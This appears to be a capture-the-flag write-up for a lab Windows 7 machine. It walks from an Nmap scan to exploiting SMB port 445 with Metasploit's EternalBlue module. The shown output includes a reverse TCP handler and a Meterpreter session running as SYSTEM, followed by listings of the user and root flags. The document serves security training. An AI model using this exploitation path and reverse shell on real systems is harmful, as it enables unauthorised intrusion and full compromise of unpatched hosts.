



By YMTzioni

Nmap:

The image shows the Nmap scan results for target 10.10.10.40. The interface includes a target field, a command field, and a table of results. The table has columns for OS, Host, Port, Protocol, State, Service, and Version. The results show several open ports, with port 445 being the focus of the subsequent text.

OS	Host	Port	Protocol	State	Service	Version
✓	10.10.10.40	135	tcp	open	msrpc	Microsoft Windows RPC
✓	10.10.10.40	139	tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
✓	10.10.10.40	445	tcp	open	microsoft-ds	Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
✓	10.10.10.40	49152	tcp	open	msrpc	Microsoft Windows RPC
✓	10.10.10.40	49153	tcp	open	msrpc	Microsoft Windows RPC
✓	10.10.10.40	49154	tcp	open	msrpc	Microsoft Windows RPC
✓	10.10.10.40	49155	tcp	open	msrpc	Microsoft Windows RPC
✓	10.10.10.40	49156	tcp	open	msrpc	Microsoft Windows RPC
✓	10.10.10.40	49157	tcp	open	msrpc	Microsoft Windows RPC

Use port 445 – smb service

After looking for exploit on web I found this exploit that can work for me in that case:

“exploit/windows/smb/ms17_010_eternalblue”

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
```

Name	Current Setting	Required	Description
RHOSTS	10.10.10.40	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	445	yes	The target port (TCP)
SMBDomain	.	no	(Optional) The Windows domain to use for authentication
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target.

Lets try it:

```
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[*] 10.10.10.40:445 - Connection established for exploitation.
[*] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] Sending stage (201283 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.40:49161) at 2021-02-18 12:02:56 +0200
[-] 10.10.10.40:445 - RubySMB :: Error :: CommunicationError: RubySMB :: Error :: CommunicationError

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\Windows\system32
meterpreter >
```

Finding user flag:

```
meterpreter > ls
Listing: C:\Users\haris\desktop
```

Mode	Size	Type	Last modified	Name
100666/rw-rw-rw-	282	fil	2017-07-14 16:45:52 +0300	desktop.ini
100666/rw-rw-rw-	32	fil	2017-07-21 09:54:02 +0300	user.txt

Finding root flag:

```
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
```

Mode	Size	Type	Last modified	Name
100666/rw-rw-rw-	282	fil	2017-07-21 09:56:36 +0300	desktop.ini
100444/r--r--r--	32	fil	2017-07-21 09:56:49 +0300	root.txt